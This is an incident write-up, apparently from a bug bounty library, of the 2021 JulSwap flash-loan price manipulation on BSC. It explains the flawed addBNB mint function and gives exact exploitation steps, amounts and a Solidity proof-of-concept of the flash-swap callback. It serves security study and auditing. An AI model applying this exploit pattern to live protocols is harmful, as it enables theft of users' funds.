# JulSwap: flash loan price manipulation drains BSCswap pair

JulSwap's addBNB function allowed an attacker to manipulate JUL token price via flash loan, draining ~$1.5M from the BSCswap pair.

- Payout: Real-world hack
- Severity: high
- Program: JulSwap
- Analysis by: DeFiHackLabs
- Disclosed: 2021-05-27
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-05/JulSwap_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210527-julswap
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:flash-loan vuln:oracle-manipulation

**Target:** JulSwap protocol and BSCswap pair on BSC
**Root cause:** The addBNB function in JulProtocolV2 allowed arbitrary BNB deposits that minted JUL tokens, which could be used to manipulate the JUL/wBNB pool price. The attacker flash-loaned JUL from the BSCswap pair, swapped for BNB, deposited BNB via addBNB to mint more JUL, then swapped back to JUL and repaid the flash loan, keeping excess JUL.
**Steps:**
1. Flash loan 70,000,000,000,000,000,000,000 JUL from BSCswap pair via `swap(amount0Out, 0, address(this), "1")`.
2. In callback, approve Router to spend JUL.
3. Swap all borrowed JUL for BNB via `swapExactTokensForBNB(amount0, 1, path0, address(this), 1622156211)`.
4. Call `JulProtocolV2.addBNB{value: 515 ether}()` to mint JUL.
5. Swap 885.146882180525770269 BNB for 70,310,631,895,687,061,183,551 JUL via `swapBNBForExactTokens`.
6. Transfer 70,210,631,895,687,061,183,551 JUL back to BSCswap pair to repay flash loan, keeping profit.
**Exploitation:** Attacker used a flash loan to borrow a large amount of JUL from the BSCswap pair, swapped it for BNB, deposited BNB into JulProtocolV2 via addBNB to mint JUL at a manipulated price, then swapped BNB back to JUL and repaid the loan, netting a profit of ~$1.5M.
**Insight:** Look for deposit/mint functions that accept arbitrary tokens or BNB and mint protocol tokens without proper price oracle checks; these can be used with flash loans to manipulate pool prices.

## Proof of concept (copied exactly from the original report)

**Flash-swap call that starts the exploit**

```
uint256 amount0Out = 70_000_000_000_000_000_000_000;
        uint256 amount1Out = 0;
        IUniswapV2Pair(BSCswapPair).swap(amount0Out, amount1Out, address(this), "1");
```

**Callback manipulating JUL price via router and addBNB**

```
function BSCswapCall(address, uint256 amount0, uint256, bytes memory) external {
        IERC20(JULb).approve(Router, type(uint256).max);

        address[] memory path0 = new address[](2);
        path0[0] = JULb;
        path0[1] = wBNB;
        IBNBRouter(Router).swapExactTokensForBNB(amount0, 1, path0, address(this), 1_622_156_211);

        IJulProtocolV2(JulProtocolV2).addBNB{value: 515 ether}();

        uint256 amountOut = 70_310_631_895_687_061_183_551;
        address[] memory path1 = new address[](2);
        path1[0] = wBNB;
        path1[1] = JULb;
        IBNBRouter(Router).swapBNBForExactTokens{value: 885.146882180525770269 ether}(
            amountOut, path1, address(this), 1_622_156_211
        );
        IERC20(JULb).transfer(BSCswapPair, 70_210_631_895_687_061_183_551);
```

